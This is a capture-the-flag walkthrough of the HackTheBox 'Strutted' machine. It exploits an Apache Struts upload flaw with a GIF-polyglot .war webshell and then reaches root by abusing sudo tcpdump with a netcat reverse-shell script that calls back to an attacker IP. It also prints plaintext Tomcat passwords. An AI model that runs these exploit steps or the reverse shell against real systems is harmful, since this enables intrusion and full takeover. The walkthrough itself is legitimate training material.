Introduction
In HackTheBox Strutted, we begin by identifying an Apache Struts vulnerability through enumeration. By crafting a malicious payload, we exploit this vulnerability to obtain a reverse shell, achieving initial access. Further enumeration reveals a misconfigured service or vulnerable software, which is then exploited to escalate privileges to the root user, successfully capturing the flag.
HackTheBox Strutted Description
HackTheBox `Strutted` is an medium-difficulty Linux machine featuring a website for a company offering image hosting solutions. The website provides a Docker container with the version of Apache Struts that is vulnerable to `[CVE-2024-53677](https://nvd.nist.gov/vuln/detail/CVE-2024-53677)`, which is leveraged to gain a foothold on the system. Further enumeration reveals the `tomcat-users.xml` file with a plaintext password used to authenticate as `james`. For privilege escalation, we abuse `tcpdump` while being used with `sudo` to create a copy of the `bash` binary with the `SUID` bit set, allowing us to gain a `root` shell.
Enumeration & Scanning
Starting with an Nmap scan
sudo nmap -sC -sV -p- --min-rate 10000 10.129.231.200
-sC
: Runs default scripts.
-sV
: Enables version detection.
-p-
: Scans all 65,535 ports.
--min-rate 10000
: Ensures a fast scan by sending at least 10,000 packets per second.
Scan Results:
- Host: 10.129.231.200 (Up, with 0.024s latency)
- Closed Ports: 65,533 (reset)
- Open Ports:
- 22/tcp (SSH)
- OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux)
- SSH Hostkeys:
- ECDSA:
3ea6454bc561d6f6e2d4d113b0a3da94f
- ED25519:
64c257de4c6a5b473e3b1bcfb4e394
- ECDSA:
- 80/tcp (HTTP)
- nginx 1.18.0 (Ubuntu)
- Server header: nginx/1.18.0 (Ubuntu)
- HTTP Title: Did not follow redirect to http://strutted.htb/
- 22/tcp (SSH)
Observations:
- The system is running Ubuntu Linux with SSH and a web server (nginx 1.18.0).
- The web server redirects traffic to http://strutted.htb/.
- The host appears to be part of a Hack The Box (HTB) challenge, based on the
.htb
domain. - The CPE (Common Platform Enumeration) indicates it’s a Linux kernel-based system.
Web Enumeration
And we see the statement below the upload button:
We provide a Docker image that showcases the Strutted™ environment. Click the Download link on the menu to explore our Docker image to see how our platform is configured, and use it as a base template for your own projects.
You can hit that download button at the top and check it out.
Below is an exploration of the docker file content which shows that it’s running tomcat 9 with the only web application being Strutted, which is powered by Java 17.
cat Dockerfile
FROM --platform=linux/amd64 openjdk:17-jdk-alpine
#FROM openjdk:17-jdk-alpine
RUN apk add --no-cache maven
COPY strutted /tmp/strutted
WORKDIR /tmp/strutted
RUN mvn clean package
FROM tomcat:9.0
RUN rm -rf /usr/local/tomcat/webapps/
RUN mv /usr/local/tomcat/webapps.dist/ /usr/local/tomcat/webapps/
RUN rm -rf /usr/local/tomcat/webapps/ROOT
COPY --from=0 /tmp/strutted/target/strutted-1.0.0.war /usr/local/tomcat/webapps/ROOT.war
COPY ./tomcat-users.xml /usr/local/tomcat/conf/tomcat-users.xml
COPY ./context.xml /usr/local/tomcat/webapps/manager/META-INF/context.xml
Next, we checked out tomcat-users, and while there was a password in there, I highly doubt it actually belongs to anyone.
> cat tomcat-users.xml
<?xml version='1.0' encoding='utf-8'?>
<tomcat-users>
<role rolename="manager-gui"/>
<role rolename="admin-gui"/>
<user username="admin" password="skqKY6360z!Y" roles="manager-gui,admin-gui"/>
</tomcat-users>
Uncovering The Vulnerability
Since the box is named Strutted, I’m guessing it relies heavily on Struts2. I’ll plug the version into Google and see what turns up.
After doing some research, we found out that Struts is responsible for handling the upload functionality. It turns out there’s a bug in the code that we can exploit to upload any file we want into a writable location on the box.
Before diving into that, we’ll first test the upload feature as intended.
We’ll start by uploading a GIF of Homer Simpson frolicking and intercept the request using BurpSuite to see what’s happening under the hood.
Headers: Indicating browser details (User-Agent
), accepted content types, language preferences, encoding, cookies, and security-related settings.
Multipart Form Data: A section where the uploaded file is included in binary format.
Session Information: The request carries a session cookie (JSESSIONID=25F1F758B4A06EC2D2020E288496DE3D
), likely for authentication or maintaining a session.
After the uplaod was successful, we found that the image is stored locally on the machine, which works in our favor. However, the downside is that the uploader exclusively accepts image files. Luckily, the vulnerability enables us to modify the filename before submission. We’ll attempt to use a polyglot to bypass the data restriction.
Exploitation | CVE-2023-50164
By modifying "upload"
to "Upload"
(capitalizing it), we can bypass the filename restriction by adding "uploadFileName"
within a second boundary.
Next, We’ll forward the request using Burp Suite and check for success.
Now, we can upload a .war
file into the Tomcat webapps
directory. Since this vulnerability allows us to place files anywhere on the system, we can leverage this to deploy a malicious .war
file.
We researched the malicious.war
file and found an exploit script for CVE-2023-50164 that includes the necessary payload.
Cloning the Repository & Setting Up the Environment:
git clone https://github.com/jakabakos/CVE-2023-50164-Apache-Struts-RCE.git
python3 -m venv struts
source ./struts/bin/activate
pip3 install -r requirements.txt
Since the script doesn’t account for image filters, I need to make some adjustments.
Open exploit.py
for editing:
nano exploit.py
Update the NUMBER_OF_PARENTS_IN_PATH
variable to 5
, ensuring it correctly navigates the file structure:
File/<TimeStamp>/uploads/ROOT/webapps
- Append a polyglot string to the
.war
file data:- By adding
"GIF89a;"
at the beginning of the payload, I can trick the filter into recognizing the uploaded file as a valid GIF image.
- By adding
With these modifications, I should be able to bypass the restrictions and execute the attack successfully.
war_file = open(NAME_OF_WEBSHELL_WAR, "rb").read()
war_file = b"GIF89a;" + war_file_content
Finally, to complete the bypass, I need to modify the Content-Type and filename:
- Change the Content-Type from
application/octet-stream
toimage/gif
to align with the uploader’s expected format. - Rename the filename to a
.gif
extension to ensure it passes validation.
Modify the request headers:
Content-Type: image/gif
Rename the file:
backdoor.gif
- Forward the modified request.
At this point, the uploader should accept the file as a valid image while still preserving the .war
payload inside. If everything works correctly, I’ll have successfully bypassed the restriction and placed the malicious file where I need it.
HTTP_UPLOAD_PARAM_NAME.capitalize(): ("backdoor.gif", war_file, "image/gif"),
Lastly run the exploit script
python3 exploit.py --url http://strutted.htb/upload.action
Linux Privilege Escalation
Grabbing the tomcat-users.xml
file to retrieve credentials.
cat ./conf/tomcat-users.xml
#output
<user username="admin" password="<must-be-changed>" roles="manager-gui"/>
<user username="robot" password="<must-be-changed>" roles="manager-script"/>
<role rolename="manager-gui"/>
<role rolename="admin-gui"/>
<user username="admin" password="IT14d6SSP81k" roles="manager-gui,admin-gui"/>
The admin
user appears twice, once with a placeholder password and once with a real password (IT14d6SSP81k
).
The robot
user has a placeholder password and a manager-script
role.
Roles manager-gui
and admin-gui
are explicitly defined.
The admin
user with the real password has both manager-gui
and admin-gui
roles.
Since we have a password, we check if it has been reused by examining the passwd
file for any matching users who might use the same credentials.
cat /etc/passwd
Next we log in as james
ssh james@strutted.htb
After successfully logging in, we check for sudo privileges:
sudo -l
The user james can execute /usr/sbin/tcpdump
without needing a password (NOPASSWD
).(ALL)
: This means james can run tcpdump
as any user on the system.
We have sudo access to tcpdump
. To exploit this, We just need to create a simple Bash script that tcpdump
can execute with elevated privileges according to GTFOBins.
First, we’ll create the script and make it executable:
echo $'id\nbusybox nc 10.10.12.222 4545 -e /bin/bash' > pwn
chmod +x pwn
Next is setting up a listener:
nc -lvnp 4545
Lastly , we just need to execute the command:
sudo tcpdump -ln -i lo -w /dev/null -W 1 -G 1 -z ./pwn -Z root
And this should do it.